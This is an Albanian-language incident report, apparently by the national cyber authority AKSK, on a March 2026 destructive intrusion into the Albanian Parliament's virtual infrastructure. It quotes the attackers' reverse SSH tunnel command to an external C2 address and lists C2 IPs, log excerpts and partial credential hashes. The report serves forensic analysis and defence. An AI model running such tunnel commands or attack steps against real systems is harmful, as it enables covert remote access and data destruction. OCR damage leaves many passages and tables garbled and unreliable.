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PARATHENIE

Ky raport éshté hartuar pér t€ dokumentuar dhe analizuar njé incident té rénd€sishém té sigurisé
kibernetike g€ ka prekur infrastrukturén e Kuvendit, né Republikén e Shqipéris€. P&rmbajtja e
raportit bazohet n€ informacionin e disponueshém deri né pérfundimin e analizé€s dhe pérfshin té
dhéna teknike, inteligjenc€ nga burime t€ hapura, si dhe artefakte t€ mbledhura gjaté menaxhimit
té incidentit.

Qéllimi 1 raportit &shté té informojé dhe t€ ndérgjegjésojé palét e interesuara mbi natyrén,
vleré€simin dhe ndikimin e kétij incidenti kibernetik. Ky raport nuk konsiderohet pérfundimtar,
pasi mund té pasojné pérditésime né bazé t€ zbulimeve té€ métejshme.

Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti €shté pérgatitur bazuar né€ informacionin e vendosur né
dispozicion nga operatori i infrastrukturés s€ prekur, si dhe analizimi i artefakteve t&€ mbledhura
gjaté procesit t€ menaxhimit t€ incidentit. Jané pérdorur gjithashtu burime t€ hapura (OSINT),
pérfshiré té dhéna publike, analiza teknike t€ pal€ve t€ treta dhe indekse t€ kércénimeve. Duhet
theksuar se disa nga informacionet mund t€ mos pasqyrojné zhvillimet mé t€ fundit né kohé reale.

Faza e dyté:

Detajet e analizés: Pér shkak t€ kufizimeve burimore, disa aspekte t€ detajeve keqdashése dhe
sulmit kibernetik mund t€ mos jené€ analizuar thell€sisht. Cdo informacion shtesé 1 panjohur mund
té reflektoj€ né€ ndryshime t€ raportit.

Faza e treté:

Analiza e kufizuar: Pér shkak t€ natyrés komplekse t€ sulmit kibernetik, analiza mund t€ jeté e
kufizuar né disa aspekte. Interpretimi i ngjarjes &shté subjektive dhe mund t€ ndikohet nga
mungesa e disa t€ dhénave kyce.

Faza e katért:

Siguria e informacionit: T¢ gjitha informacionet e pérfshira né kété raport jan€ konfidenciale dhe
té paraqgitura vetém pér entitetin/infrastrukturén e prekur. Pé€rdorimi 1 t€ dhénave té burimeve té
hapura éshté béré né pérputhje me parimet e mbrojtjes sé privatésis€é dhe vlerésimit t€ saktésise.
Cdo shpérndarje apo pérdorim jashté kétij qéllimi duhet t€ béhet vetém me autorizim pérkatés.

AKSK rezervon té drejtén pér t€ pérditésuar ose modifikuar pérmbajtjen e kétij raporti pa njoftim
paraprak.

Pérdorimi dhe Kufizimi i Pérgjegjésisé : Ky raport éshté pérgatitur me géllim ofrimin e njé
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pasqyre sa mé té ploté dhe té sakté lidhur me incidentin e sigurisé kibernetike qé ka ndodhur.
Pérmbajtja e tij mbéshtetet né informacionin e disponueshém gjaté periudhés sé analizés dhe mund
té mos pérfshijé té gjitha aspektet e sulmit apo zhvillimet e mévonshme qé mund té kené ndodhur.
Autorét dhe institucionet pérkatése nuk mbajné pérgjegjési pér vendimet ose veprimet qé mund té
ndérmerren si rezultat i pérdorimit té kétij raporti né ményra té papérshtatshme ose jashté
kontekstit té tij origjinal, si dhe pér démet qé mund té shkaktohen nga kjo. Pérdorimi i kétij raporti
duhet té jeté i rezervuar vetém pér palét e autorizuara dhe né pérputhje me géllimin informues dhe
mbrojtés pér té cilin éshté hartuar. Cdo interpretim, shpérndarje apo pérdorim i raportit jashté
kétij géllimi kérkon autorizim té posacém nga Autoriteti Kombétar pér Siguriné Kibernetike. Pér
té ruajtur integritetin dhe konfidencialitetin e informacionit, rekomandohet qé raporti té trajtohet
si dokument i ndjeshém dhe té mos ripérdoret pa njé rishikim zyrtar dhe pérditésim té métejshém.
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PERMBLEDHJE EKZEKUTIVE

Mg daté 10 Mars 2026, infrastruktura e Kuvendit t€ Shqipérisé u bé objekt i njé sulmi té sofistikuar
kibernetik, i1 karakterizuar nga qéllime shkatérruese: fshirja e t€ dhénave dhe serveréve né
infrastrukturén TIK si dhe marrja,eksfiltrimi 1 informacioneve sensitive. Kanali né telegram me
emrin “Homeland Justice” mori pérgjegjésiné pérmes njé postimi publik, ku publikoi mbi
komprometimin e sistemeve t&€ Kuvendit.

Menjéheré pas raportimit t€ incidentit nga ana e institucionit t€ prekur dhe n€ vijim té konfirmimit
pér nevojén pér mbéshtetje dé€rguar nga Kuvendi (pjes€ e listé€s s€ Infrastrukturave kritike t&
informacionit), Autoriteti Kombétar pér Siguriné Kibernetike (AKSK) ngriti njé grup pune té
dedikuar pér t€ menaxhuar incidentin, ndaluar sulmin kibernetik pér t€ mos u pérhapur mé gjeré
né infrastrukturé dhe pér t€ marré masat e nevojshme pér rikthimin n€ funksion té shérbimeve.

Démi i shkaktuar dhe vlerésimi fillestar

Nga vlerésimi fillestar rezulton se jané fshiré gjithsej 183 makina virtuale n€ mjedisin Virtual VDI,
si dhe nj€ pjesé e konsiderueshme e t€ dhénave té pérdoruesve né server file share. Véllimi 1 té
dhénave t& prekura né nivel infrastrukture virtuale vlerésohet té jeté rreth **** TB (VMDK),
ndérkohé qé€ éshté identifikuar edhe nj€ nxjerrje e pjesshme e t€ dhénave me njé volum rreth ****
MB.

Si pasojé e incidentit, stafi 1 Kuvendit aktualisht nuk kishte akses né€ mjedisin VDI, i cili pérbén
njé komponent ky¢ pér operacionet e pérditshme té pérdoruesve fundoré. Megjithatg,
infrastruktura bazg e serverave kritik, sistemi i email-it zyrtar dhe shérbimet publike nuk jané
prekur dhe vijojné t€ jené€ funksionale. Vlerésimi paraprak e klasifikon két€ incident si me ndikim
operativ t€ konsiderueshém, por té€ kufizuar n€ segmentet e virtualizimit dhe pé€rdoruesve fundoré.

Pérgjigja ndaj incidentit
Ekipi 1 AKSK u nda né katér grupe paralele pér t€ mundésuar zgjidhjen e situatés dhe rimékémbjen
e infrastrukturés s€ prekur. Kéto grupe ishin:

1. Threat Hunters — té fokusuar né identifikimin dhe neutralizimin e kércénimeve té
vazhdueshme (persistente).

2. Analizues té Forensikés digjitale dhe analizues té skedaréve keqdashés — pér té analizuar
sistemet e komprometuara, pér t€ identifikuar origjinén dhe ményrén e komprometimit, si dhe pér
té analizuar ¢do komponent t€ dyshuar malware.

3. Rikthimi i shérbimeve kritike — pér té rivéné né funksion shérbimet thelbésore t€ Bashkisé s¢
Tiran€s dhe institucioneve né varési t€ saj, n€ ményré té€ sigurt dhe n€ kohé sa mé té shkurtér.

4. Evidentimi i boshlléqeve dhe hartimi i planit té rehabilitimit — pér t€ identifikuar mangésité
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né siguri dhe pér t€ pérgatitur nj€ plan t€ detajuar pér pé€rmirésim dhe parandalim né t& ardhmen.

Vektori i sulmit dhe zinxhiri i komprometimit

Sulmi ka filluar pérmes njé aksesi té paautorizuar né€ distancé népérmjet infrastrukturés VPN, ku
jané shfrytézuar kredenciale t&€ komprometuara té njé€ pale t€ tret€ qé€ ofron shérbime pér Kuvendin
e Shqipérisé. Ky skenar pérfagéson njé rast tipik t€ komprometimit t€ zinxhirit t& furnizimit
(supply-chain), ku aktorét keqdashés kané€ pérdorur besueshmérin€ e aksesit ekzistues pér t&
anashkaluar mekanizmat e siguris€ dhe pér t€ depértuar né rrjetin e brendshém té institucionit.

Pas sigurimit té aksesit fillestar népérmjet VPN-s&, sulmuesit kané arritur t€ aksesojné njé server
té brendshém, i cili €shté pérdorur si jump host, duke shérbyer si piké ndérmjetése pér 1&vizje
anésore né rrjet. Ky server ka mundésuar zgjerimin e aksesit drejt mjediseve virtuale té
infrastrukturés, duke krijuar njé piké t€ centralizuar kontrolli pér aktivitetin keqdashés dhe duke e
béré gjurmimin e tyre t€ veéshtiré.

Nga evidencat e mbledhura rezulton se sulmuesit kan€ pérdorur adresa IP té hostuara né
infrastrukturé VPS, pérfshiré IP nga Holanda 107[.]189.22.170 dhe Shqipéria 87[.]121.162.182,
té cilat dyshohet se jané pérdorur si Command and Control Server (C2), si dhe pér t&€ gjeneruar
trafik drejt infrastrukturés s€¢ komprometuar.

N¢ vijim t€ komprometimit, éshté realizuar depértimi né mjedisin e virtualizimit (vSphere), ku
sulmuesit kané€ kryer veprime destruktive duke fshiré njé numér té konsiderueshém makinash
virtuale (183 VM) té lidhura me mjedisin VDI. Paralelisht, jané fshir€ edhe té dhéna t€ pérdoruesve
né file share, si dhe jané evidentuar pérpjekje pér manipulim dhe fshirje t€ volumeve té t&€ dhénave
né€ nivel infrastrukture (**** TB VMDK).

Materialet e publikuara mé pas né kanale publike (Telegram) rezultojné t€ jen€ marré€ nga file share
ARKIVA dhe jo nga sistemi i email-it (Exchange), duke konfirmuar fokusin e sulmit né mjediset
e ruajtjes sé t&€ dhénave dhe jo né komunikimet zyrtare.

Atribuimi i sulmit

Bazuar né indikatorét tekniké t€ identifikuar, ményrén e realizimit t€ sulmit dhe analizén e
kontekstit operacional, ky incident paraget njé pérputhje t& qart€ me aktivitetet e aktoréve té
avancuar shtetéroré, t& lidhur me Republikén Islamike t€ Iranit — pjesé e Ministris€ s€ Inteligjencés
[raniane

Njé element i1 réndésishém né€ mbéshtetje t& kétij atribuimi €shté publikimi i materialeve té
komprometuara né kanalin Telegram “Homeland Justice”, 1 cili historikisht ka shérbyer si
platformé propagandistike pér operacione kibernetike t€ lidhura me aktoré€ iraniané€, duke targetuar
institucione shtetérore por jo vetém, n€ Shqipéri.
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Analiza e zinxhirit t& sulmit tregon pérdorimin e teknikave t€ avancuara(TTP) dhe té pérséritura,
té cilat pérfshijné:

shfrytézimin e aksesit pérmes paléve té treta (supply-chain compromise),

pérdorimin e kredencialeve t€ vlefshme pér akses né VPN,

1€vizje anésore né rrjet pérmes njé jump host-i,

kombinimin e veprimeve destruktive (fshirje e t&€ dhénave dhe VM-ve) me eksfiltrim
informacioni,

e pérdorimin e infrastrukturés VPS pér komandim dhe kontroll (C2).

Gjithashtu, pérdorimi 1 njé qasjeje hibride qé kombinon démtimin e infrastrukturés (data
destruction) me publikimin e t&€ dhénave pér qéllime ndikimi dhe presioni politik, Eshté
karakteristiké e operacioneve t€ méparshme t€ lidhura me kéta aktoré.

Rikthimi i shérbimeve

Pas evidentimit dhe izolimit t€ incidentit t& siguris€ kibernetike, procesi i rikuperimit dhe forcimit
té infrastrukturés €shté realizuar né bashképunim té€ ngushté ndérmjet ekipit t€ reagimit ndaj
incidenteve dhe Drejtorisé s€ IT t€¢ Kuvendit, duke ndérmarré masat e méposhtme:
1. Rikthimi i Shérbimeve Kritike
e Né& koordinim me IT-né e Kuvendit, u realizua rikthimi i shérbimeve vitale t€ mjedisit
vSphere, duke mundésuar rikthimin gradual t€ funksionaliteteve bazé t€ infrastrukturés.
2. Rindértimi i Infrastrukturés Virtuale
e U ndérmor rindértimi 1 ploté i cluster-it VDI nga fillimi, né njé mjedis té pastér dhe té
verifikuar.
e U realizua rindértimi 1 makinave virtuale t€ pérdoruesve, duke garantuar integritetin dhe
sigurin€ e tyre pérpara rikthimit né operim.
3. Fortifikimi i Rrjetit dhe Rregullave té Firewall-it
e Ngé bashképunim me IT-né€ e Kuvendit, u aplikuan rregulla fortifikimi té firewall-it, duke
pérfshiré:
o kufizimin e aksesit vet€ém pér IP dhe shérbime té autorizuara,
o ndérprerja dhe bllokimi i aksesit t€ paautorizuar t€ aktoréve kibernetiké,
o forcimin e kontrollit t€ trafikut hyrés dhe dalés,
4. Pérpjekjet pér Rikuperimin e té Dhénave
e Né koordinim me strukturat IT, jan€ ndérmarré pérpjekje pér rikuperimin e t€ dhénave,
duke pérdorur:
o backup-et ekzistuese,
o snapshot-et e disponueshme,
o analiza forensike né datastore.
5. Masa Shtesé té Sigurisé
o Eshté realizuar reset i kredencialeve kritike dhe forcim i politikave t& autentikimit.
o [shté kryer rishikimi i aksesit té paléve té treta, vecanérisht lidhjeve VPN.
o [Eshté rritur niveli i monitorimit dhe analizés sé log-eve né infrastrukturg.
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INFORMACIONE TEKNIKE

Mgé daté 10 mars 2026, u raportua njé incident i sigurisé kibernetike qé€ preku njé pjesé té
infrastrukturés informatike t&€ Kuvendit t€ Shqipérisé.

PARLIAMENT OF ALBANIA
ATTACK TIMELINE

0314 - 09/03/2026
MITRE

Initial Access - T1078 - Valid Accounts

Proxy Internal Access to server e****+++++
107.189.22[.]170:8080 - 1++++++++ {0 laeaniend
210 - 09/03/2026

MITRE

Persistence - TI053 - Scheduled Task / Job

I

Internal Multi SSH Connectionts
87.121162[.]182 — SSLVPN — 1***
107.189.22[.]170 = Reverse SSH —

Brute Force and Password Spray Internal Infrastructure
MITRE
iLateral Movement - TI021 - Remote Service

Brute Force and Password Spray in Infrastructure
2 onomiis = Success Logon

21:42 - 09/03/2026

MITRE

Credential Access - T1110 - Brute Force

PRIVILEGE ESCALATIO

Access to vSphere as administrator and root
21:42 - 09/03/2026
From internal command and control server él)'J—

MITRE
IPrivilege Escalation - TI078 - Valid Accounts

l

Delete VM from Disk in vSphere
10:40 - 10/03/2026
: MITRE

Destruction - TI070 - Indicator Removal on Host

{

11:44 - 10/03/2026
First publish on telegram Channel * Homeland Justice *

Figura 1. Zinxhiri i Komprometimit — Kill-chain Framework

Nga analizat paraprake rezultoi se aksesi fillestar né rrjetin e institucionit éshté realizuar pérmes
njé lidhjeje VPN, duke pérdorur kredenciale té komprometuara té njé pale té treté (u****—
FhEkkdkkkdE*) g€ ofron shérbime pér portalin e******** p&r Kuvendin. Ky skenar pérputhet me
nj€ model t€ njohur sulmi t€ quajtur supply-chain compromise, ku sulmuesit shfryt€zojné akseset
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e partneréve t€ jasht€ém pér t€ hyré né sistemet e nj€ institucioni apo organizate.

° Data Breaches X

prermane I

Password SesxC
Password SHA-256 BEA22E15902CDD4915F6EBAB695F952DAADS..
Password NTLM Hash 9D290FB80D378A8452D1EB455AAAIESFT
Source Link https://t.me/-1003818935191/1683

Leak Date 2026-02-28

Figura 2 Kredencialet e Kompromentuara té palés té treté

Pas aksesit né rrjet, sulmuesi ka arritur t€ 1€viz€ brenda infrastrukturés sé brendshme dhe té
aksesojé serverin e brendshém té portalit. Gjaté kétij procesi jané identifikuar veprime té fshirjes
sé t€ dhénave né disa sisteme dhe ndérprerje t€ pérkohshme té disa shérbimeve té€ brendshme té
pérdorura nga stafi.

Nga verifikimet paraprake rezulton se backup-et e serverave dhe infrastruktura e rikuperimit
nga katastrofat (Disaster Recovery) jané t€ disponueshme, cka mundéson rikthimin e sistemeve
dhe serverave né nj€ koh¢ relativisht t€ shkurtér.

Ekipi 1 Autoritetit Kombétar pér Siguriné Kibernetike (AKSK), né bashképunim me ekspertét
e institucionit t€ Kuvendit, kané ndérmarré menjéheré veprime pér izolimin e incidentit, analizén
e tij dhe rikuperimin e shérbimeve kritike.

Menjéheré pas identifikimit t€ incidentit, AKSK aktivizoi procedurat e reagimit ndaj incidentit dhe
organizoi punén né€ disa linja paralele pér:

analizén e incidentit dhe identifikimin e ményrés s¢ komprometimit,
izolimin e sistemeve té prekura,

rikthimin e shérbimeve kritike,

o monitorimin e vazhdueshém t¢ infrastrukturés pér aktivitete t€ dyshimta.

o O O

N¢ bashképunim me ekspertét tekniké t&€ Kuvendit jan€ ndérmarré kéto masa:

e analizimi i log-eve t€ sistemeve dhe pajisjeve,
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e verifikimi 1 integritetit t€ serveréve dhe infrastrukturés virtuale,
e rikthimi 1 serveréve nga backup-e t€ verifikuara té pastra,
e rikrijimi dhe rivendosja e disa sistemeve t&€ brendshme,

Nga evidencat e pérmbledhura rezulton njé zinxhir aktivitetesh qé nis me aksesim pérmes SSL
VPN nga [P-ja 87.121.162.182, vijon me l€vizje laterale dhe akses SSH drejt hosteve té
brendshme, me krijim té reverse SSH tunnel pér akses nga jasht€, me tentativa t€ pérséritura pér
autentikim né€ vSphere nga hosti 1 brendsh&ém 1*******  me sukses né€ autentikim si
Administrator, mé pas me ndryshim té password-it t€ vSphere dhe né fund, me fshirje manuale té
file-ve t€ makinave virtuale direkt né datastore-in e ESXi pérmes VMware API
vim.FileManager.deleteFile.

hoo.com
7.189.22.170
147.45.221.49
147 .45.221 .49
1 Administrator@107.18
ssh 0 StrictHostKey - ¢ R & Administrator@107
sh -
ssh -o S (ing= - b @ Administrator@107
ping

nistorxry

Figura 4 Komanda té ekzekutuara - history.exe

KRONOLOGJIA E NGJARJEVE

Data / ora Burimi Ngjarja Rezultati
09/03/2026, rootGWFW log Evi.dgnt(')het hera e pe'lré e Plke hyrése e d"yshuar
03:14:21 aktivitetit nga VPS shqiptare né infrastrukturé.

Adresa: Rruga “Papa Gjon Pali II” nr.3 Tirang;

Fage web: www.aksk.gov.al E-mail: info@aksk.gov.al
Tel./Fax : 04 2221 039


http://www.aksk.gov.al/
mailto:info@aksk.gov.al

09/03/2026,
03:16:42

09/03/2026,
03:18:54

09/03/2026,
03:19:32

09/03/2026,
03:24:36

09/03/2026
10/03/2026
Deri
10/03/2026,
11:07:08

09/03/2026,
02:21:02

rootGWFW .log

DMZFW .log

DMZFW .log

DMZFW .log

rootfw.log

auth.log
1*********

SSH / komandat

87.121.162.182 pérmes SSL
VPN.

Evidentohet logimi i paré€ i
suksesshém nga IP
87.121.162.182 pérmes SSL
VPN.

Tentativé failed nga [P
[RrHEEEERE(P nga pool-i i
VPN) drejt [#***skss® me
RDP, porté 3389

Evidentohet tentativa e paré
SSH drejt 1 ***********nga

1********** (IP nga pOOl 1
VPN)

Lidhja e paré¢ e suksesshme
me [*F*F*EFRE nEpdrmjet ssh.

Vijojné tentativa dhe sesione
té lidhjes nga e njéjta VPS;
connection accept 1 fundit
evidentohet mé 10/03/2026
né 11:07:08.

Sipas shénimeve, evidentohet
suksesi 1 paré SSH me
pérdoruesin  “giAHRAAEAT
nga burim i lidhur me pool-in
1***********.

Evidentohen lidhje té tjera
SSH né orare t€ ndryshme me
té nj&jtin pérdorues dhe me
sesione paralele.
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Konfirmon se
tentativa €shté lejuar
nga Firewall.

Tentativé aksesi drejt
DC.

Tentativa e paré qé
lidh  tentativén e
logimit me SSL VPN
nga VPS Shqiptare me
IP e marré nga pool-i i
VPN dhe tentativa

drejt | Balalalalalatotataby]

Konfirmon aksesimin
e 1***********

Tregon  persistencé
dhe  pérdorim  t&
vazhdueshém té

kanalit té aksesit.

Kérkon verifikim
kronologjik, pasi ora
rezulton mé e hershme
se pranimi i SSL VPN
t¢ mbrémjes s€ sé
njéjtes daté.

Sugjeron aktivitet té
vazhdueshém operativ
né hostin e
komprometuar.
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Host i
1**********
Pas aksesit
SSH SSH tunnel
09/03/2026,

04:18:25 — websso.log
21:12:57

09/03/2026,

21:42:56 websso.log

10/03/2026, localhost o txt
04:14:43 ocalhost_access_log.tx
10/03/2026, -

08:16:13 ssoAdminServer.log
10/03/2026,

09:06:54 vSphere logs
10/03/2026, websso.log

10:11:24 - 1 skl stk ko

10:54:04

brendshém

E njéjta komandé evidentohet
edhe nga IP-ja e brendshme

1************

Krijohet reverse SSH tunnel,
duke béré t& mundur g€ hosti

1 komprometuar té aksesohet
nga 107.189.22.170:8080.

Nga 1#***** eyidentohet seri
e gjat€ failed login me

pérdoruesin  Administrator
R R

Regjistrohet pérgjigie 200
OK me pérdoruesin
Administrator t€ vSphere.

Shkarkohet njé file i quajtur
vmsForDatacenter Name.csv

Identifikohet ndryshimi 1
password-it t€ vSphere.

Evidentohet

lidhje/connection né vSphere
nga 1**************

Nga  tuneli/hosti tjetér
[kt kka tentativa té
vazhdueshme failed login me
userin Administrator.
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Tregon pérdorim t€ mé
shumé se njé hosti té

brendshém ose
zhvendosje té
aktivitetit.

Hosti 1 brendshém
pérdoret si proxy/pivot
pér akses t&€ métejshém
né rrjetin e brendshém.

Indikator 1 fort€ pér
password spray ose
brute  force  ndaj

vSphere SSO.
Momenti 1
komprometimit té
suksesshém té
llogarisé
administrative.

Dyshohet té jeté file
me informacion mbi té

gjitha VM e ngritura
Veprim  tipik  pas
komprometimit ~ pér
konsolidim té
kontrollit dhe
pérjashtim té
administratoréve
legjitimé.

Konfirmon pérdorim
aktiv té aksesit té fituar
né€ mjedisin virtual.

Vazhdim té€ provave
me kredenciale t&
pavlefshme pas
ndryshimit té
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password-it.

Nis fshirja manuale e file-ve
t¢ VM-ve (.vmdk, .vmx, etj.) Moment kye i

10/03/2026
10:40:19 " ESXi/ VMware API direkt nga datastore. Né sabotimit/shkatérrimit
o hostin ********* thirret APl t€ mjedisit virtual.
vim.FileManager.deleteFile.
GJETJET KRYESORE

* Vektori fillestar 1 aksesit, sipas shénimeve, lidhet me SSL VPN nga IP-ja 8§7.121.162.182.

* Pas hyrjes, jump hostet e brendshme ******#k* dhe [*H*xkxskicks jang perdorur pér l&vizje
laterale dhe si pika ndérmjetése pér veprime t€ métejshme.

* Krijimi i reverse SSH tunnel drejt 107.189.22.170:8080 me gellim aksesin e sherbimeve te
brendshme

* Tentativat e shumta té déshtuara ndaj vSphere, t€ ndjekura nga njé 200 OK si Administrator,
mbéshtesin hipotezén e password spray/brute force.

* Ndryshimi i password-it t€ vSphere pas suksesit né autentikim tregon faz€ konsolidimi té
komprometimit.

e Thirrja e API-sé vim.FileManager.deleteFile né datastore pérbén evidencé té drejtpérdrejté pér
fshirje manuale destruktive té file-ve t&€ VM-ve.

SSH “first success” né orén 02:21 AM (09/03/2026) duhet té rivlerésohet, pasi kronologjikisht del
pérpara eventit SSL. VPN accept (03:14 AM, e njéjta dité) dhe nuk mund té lidhet me té njéjtin
sesion.

Evidentohet pér heré t€ paré VPS shqiptare 87.121.162.182 me tentativa SSL VPN mé 09/03/2026

- __________________________________________________________________________________________]
Adresa: Rruga “Papa Gjon Pali II” nr.3 Tirang;
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né 3:14:41 AM.

0313

policynase=

o | ol ed” s

B ervce - SsvPN-TCPIAss e = diskrafic-forward-2026_03_13_rootGWFWiog ot

Figura 5 Tentativa aksesi SSLVPN nga IP:87[.]121[.]62[.]182

Aksesi i suksesshém (accept) ndodh n€ 3:16:42 AM té sé njéjtés daté.

i Time Event

Bl cevice = SSLVPN-TCPNA43 ree = disk-raffic 026_03_13_rootGWFW log txt

Figura 6 Akses i suksesshém SSLVPN nga IP:87[.]121[.]62[.]182

Kjo VPS ka kryer tentativa t& vazhdueshme gjaté periudhés 09/03/2026 — 10/03/2026, ku aksesi i
fundit i pranuar rezulton mé 10/03/2026 né 11:07:08 AM.

Figura 7 Tentativa aksesi dhe akses i suksesshém

Log-et e SSH tregojné login me userin e********* nog [P e pool-it t&€ VPN gateway (1*******)
drejt 1#*****%* 1 konfirmuar edhe nga authentication logs.

Figura 8 Logim né portalin e****¥¥kxdk

Auth logs 1¥*********ggh

Logimi 1 paré€ me status success pér userin e ****##%* gshté regjistruar mé 09/03/2026 né 02:21:02
AM nga [P 1*******kx% (VPN gateway).
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i Time Event

» 3/9/26 Mar 9 02:21:02 exist sshd[1615274]: pam_unix(sshd:session): session opened for use -Elld 1008) by (uid=@)

2:21:02.000 AM host=- source = authlog  sourcetype = asdad

> 3/9/26 Mar 9 82:21:02 exist sshd[1615274]: Accepted password for - o port 57080 ssh2

2:21:02.000 AM host - source = auth.log sourcetype = asdad

> 3/9/26 Mar 9 82:20:36 exist sshd[1615272]: Connection reset by 1- port 57879 [preauth]

2:20:36.000 AM  pggt - ource = authlog | sourcetype = asdad

Figura 9 Logim sukses pér pérdoruesin e***¥ ¥+«

ME pas evidentohen disa lidhje t€ tjera né orare t€ ndryshme me t€ njéjtin user, pérfshiré sesione
paralele.

Nga analizimi i auth logs né serverin 1******%*% eyidentohet njé aktivitet i vazhdueshém SSH
me userin e****¥**¥¥* nog [P ¢ VPN gateway (1******%¥) ojatg dat€s 09/03/2026. Pas logimit t&

paré me sukses n€ 02:21:02 AM, vérehen lidhje t€ tjera t& suksesshme né intervale t&€ aférta kohore,
konkretisht né:

o 03:00:24 AM
e 03:17:43 AM
o 04:55:50 AM

U200 AN hc-:.:—- source = authlog | sourcetype = asdad
> 3/9/26 MBr 9 ©3:00:24 exist sshd[1615749]): Accepted password for o from 1- port 50674 ssh2
3:00:24.000 AM _rhct - source = authlog | sourcetype = asdad

Figura 10 Akses i pranuar né orén 03:00:24 AM

3/9/26 Mar 9 ©3:17:43 exist sshd[161613@]: Accepted password for - from ‘I_ port 62648 ssh2

3:17:43.000 AM host = ] | source = authlog | sourcetype = asdad

Figura 11 Akses i pranuar né ovén 03:17:43 AM

> 3/9/26 Mar 9 04:55:50 exist sshd[1617052]: Accepted password for - from 1ot 54565 ssh2
4:55:50.000 AM host - source = auth.log sourcetype = asdad

Figura 12 Akses i pranuar né orén 04:55:50 AM

Kéto tentativa té€ pérséritura tregojné pér akses té vazhdueshém dhe potencialisht sesione
paralele nga 1 njéjti user pérmes VPN. Nga historiku i komandave né sistem, evidentohet
ekzekutimi 1 komandés:

ssh -o StrictHostKeyChecking=no -R 8080 Administrator@107[.]189[.]22[.]170 -p 443
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Figura 13 StrictHostKeyChecking login me reverse proxy

Kjo tregon krijimin e njé reverse SSH tunnel drejt IP-s€ s€ jashtme 107.189.22.170 né€ portén 443,
duke mundésuar akses nga jasht drejt sistemit t€ brendshém. Ky aktivitet paraget komprometim té
mundshém dhe pérdorim t€ serverit pér akses t&€ paautorizuar dhe 1€vizje paralele (pivoting) drejt
infrastrukturés s€ brendshme.

E njejta komandé €shté evidentuar dhe né ip e brendshme 1 #*####%,

Pas realizimit t€ connection-it me sukses, krijohet njé reverse SSH tunnel, 1 cili i mundéson
sulmuesit akses nga jashté drejt makinés s€¢ komprometuar. Konkretisht, duke u lidhur né
107.189.22.170:8080, ai arrin t€ aksesojé hostin e brendshém.

Qéllimi 1 kétij konfigurimi €shté t€ sigurojé akses t€ vazhdueshém né rrjetin e brendshém, duke
pérdorur makinén Ubuntu si proxy/pivet point pér 1€vizje laterale dhe komunikim me
infrastrukturén e jashtme (C2).

Trafiku 1 identifikuar tregon komunikim bidireksional me serverin C2, cka pérforcon
indikacionet pér komprometim aktiv dhe kontroll t& jasht€ém mbi sistemin.

S —)
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3/2/26, 2°:00 AM - 3116126, 134 I;’M ~

A A .

1:00 PM Mar S 1:00 PM Mar 10 100 ™

Figura 14 Komunikimi me Command and Control

Nga analiza e trafikut né Siem, evidentohet komunikim i vazhdueshém dhe bidireksional midis hostit té
brendshém 1%*******dhe [P-s¢& sé& jashtme 107.189.22.170.
Fillimisht shfagen lidhje né portin 22 (SSH), t€ ndjekura nga trafik né portin 443 (SSL/TLS), si dhe

shkémbime ICMP, duke treguar njé kanal aktiv dhe t€ qgéndruesh€ém komuni

—— . « o -
:» -/‘-u ‘A 2026, 22540 A - 44260 = o = = o‘u:
» oSS = Lt L b ™ 0
A Mar 9, 2026 - = - s
f' Mar 9, 2026 - 123 76 0
{ Mar 9, 2 - 2 4“4 2,008 7248
r Mar 9, 2026, - 51942 14 21m2 7587
C Mar 9, 2026, 3 - ’ 7% °
[ Mar 9, 2026, 3 - 50493 7% o
l' Mar 9, 2026 3,00 - 40355 s — =
C Mar 9, 2026 - - e - -
C Mar 9, 202 - \70 : =5 T e
r Mar 9. 2026, 3,07 14 A - ¢ 213 940
C Mar 9. 2026 - % 2080 T
C Mar 9, 2026 319 - 1 W91 1899149 44 1« SSUILS 1420 10 828
C Mar 9, 202 - 104232990 14 1_ip SSUTLS 2,008 6516
C Mar 9, 2026 . g £I3185 12519056 1 40p_® Misc NTP 7% 0
C Mar 9, 2026 - 1 G5 185 125.190 5 12 udp_x Misc NTP % 0
C Mar 9, 2026, 3:3¢ - ’ 185 12519058 12 udp._ MiscNTP 7% 0
T Mat 9. 2021 - 43669 g0t 18991 157 uap_1D Mize NTP % °
C Mat 9. 202 - 13644 BN 143 10§ SSUTLS 2,008 8708
C Mat 9, 2026 miase A v I mp_is ICMP Echo-Reply 6 0
C - - ké ; = 16 0
r Iw;u 2026, 35925 AM - ' =107.18922170 22 )0 20 0
C Adacd 2000 40101 A0 51 =107.189 22 _% 240 0
C Mar 9, 2026, 4.01 17 AM NA ST 9 504 0
C Saa. 0 20 401 17 AN 74623121 NA 508 S
C l'.t,u 9. 2026, 40127 AM - N Cmp_ip 1C) s 7 504 0
=y CAMEichoRech 504 0
[l: AL 4100 -7 AS 22189 22 p_ip RemoteAccess SSH 180 [
S = 15966 1,807
2 19404 4] 43 [Steoio SSUTLS 2818 2438
2 ur = W o ssums 2818 2395
r = 2958 g 123 uip_® Misc NTP % )
[ ] Mar 9, 2026 = -y Prey % 10 SSUTLS 13926 7515
i - - 157 udp_io Wac e 7% Y
0 Mar 9, 2026, 41018 AM 7 0. Web Wob Misc 1715 53.705
L Mat §. 2026, 41025 AM . s = o |

Figura 15 Lidhje bidirektorale me SSH

Adresa: Rruga “Papa Gjon Pali II” nr.3 Tirang;
Fage web: www.aksk.gov.al E-mail: info@aksk.gov.al
Tel./Fax : 04 2221 039


http://www.aksk.gov.al/
mailto:info@aksk.gov.al

o L ™ )
Hae Charts
b Port Destination p  Dgstina Protocol Application

- 10718922170 22 tcp_ip RemoteAccess SS)|
- 107 18922 170 22 icp_p RemoteAccess SS)
- 107189 22 N cmp_ip ICMP Echo-Reply
-107.18922170 443 tcp_ip SSUTLS
b ‘ 17 143 icp_p SSUTLS
—1 39 0 443 tcp_lp SSUTLS
—1 170 443 p_o SSUTLS
— 443 tcp_p SSUTLS
—1 143 p_p SSUTLS
- 10 443 cp_ip SSUTLS
= Q 22 tcp_ip RemoteAccess SSH
= 107.189.22 170 143 tcp_ip SSUTLS
= 107 189 22 17¢ 143 ©p P SSUTLS
—107 18922 170 143 icp_» SSUTLS
=107 18922 170 443 tcp_ip SSUTLS
=107 18922170 443 tco_ip SSUTLS
=107 18922 170 443 tco_p SSUTLS
==107.18922170 443  tp_®p SStLS
= 189 22 )] 143 icp_o SSUTLS
=107.189.22.1 70 443 cp_ o SSUTLS
3] 170 443 tcp_ip SSUTLS
=10718922170 443 (W SSUMLS

443 tcp_ip SSUTLS

Figura 16 Trafik outbound drejt C2

Evidentohet se nga IP e brendshme 1******%* jang kryer tentativa t€ shumta failed login me
